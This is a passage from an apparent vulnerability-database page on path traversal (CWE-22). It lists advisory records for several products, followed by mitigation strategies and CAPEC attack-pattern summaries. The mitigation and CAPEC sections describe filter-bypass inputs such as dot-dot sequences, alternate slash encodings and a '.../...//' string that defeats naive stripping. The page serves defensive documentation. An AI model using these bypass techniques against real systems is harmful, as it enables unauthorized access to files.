"summary": "alexusmai laravel-file-manager is vulnerable to Directory Traversal"
}
GHSA-RR44-RMPX-9H3Q
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20The Keybase Client for Windows before version 5.7.0 contains a path traversal vulnerability when checking the name of a file uploaded to a team folder. A malicious user could upload a file to a shared folder with a specially crafted file name which could allow a user to execute an application which was not intended on their host machine. If a malicious user leveraged this issue with the public folder sharing feature of the Keybase client, this could lead to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2021-34422"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-11T23:15:00Z",
"severity": "CRITICAL"
},
"details": "The Keybase Client for Windows before version 5.7.0 contains a path traversal vulnerability when checking the name of a file uploaded to a team folder. A malicious user could upload a file to a shared folder with a specially crafted file name which could allow a user to execute an application which was not intended on their host machine. If a malicious user leveraged this issue with the public folder sharing feature of the Keybase client, this could lead to remote code execution.",
"id": "GHSA-rr44-rmpx-9h3q",
"modified": "2022-05-24T19:20:36Z",
"published": "2022-05-24T19:20:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34422"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RR4H-JJ83-5HCW
Vulnerability from github – Published: 2022-05-02 03:46 – Updated: 2022-05-02 03:46Directory traversal vulnerability in index.php in LionWiki 3.0.3, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the page parameter.
{
"affected": [],
"aliases": [
"CVE-2009-3534"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-10-02T19:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in LionWiki 3.0.3, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the page parameter.",
"id": "GHSA-rr4h-jj83-5hcw",
"modified": "2022-05-02T03:46:03Z",
"published": "2022-05-02T03:46:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3534"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/51659"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35774"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9119"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/55801"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RR4P-QRV5-G999
Vulnerability from github – Published: 2024-06-17 03:31 – Updated: 2024-06-17 03:31Certain models of D-Link wireless routers have a path traversal vulnerability. Unauthenticated attackers on the same local area network can read arbitrary system files by manipulating the URL.
{
"affected": [],
"aliases": [
"CVE-2024-6044"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-17T03:15:09Z",
"severity": "MODERATE"
},
"details": "Certain models of D-Link wireless routers have a path traversal vulnerability. Unauthenticated attackers on the same local area network can read arbitrary system files by manipulating the URL.",
"id": "GHSA-rr4p-qrv5-g999",
"modified": "2024-06-17T03:31:07Z",
"published": "2024-06-17T03:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6044"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10398"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-7878-7c3d9-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7877-b4674-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RR5X-2XMG-X2PM
Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00The project-anuvaad/anuvaad-corpus repository through 2020-11-23 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.
{
"affected": [],
"aliases": [
"CVE-2022-31552"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-11T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The project-anuvaad/anuvaad-corpus repository through 2020-11-23 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
"id": "GHSA-rr5x-2xmg-x2pm",
"modified": "2022-07-16T00:00:28Z",
"published": "2022-07-12T00:00:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31552"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.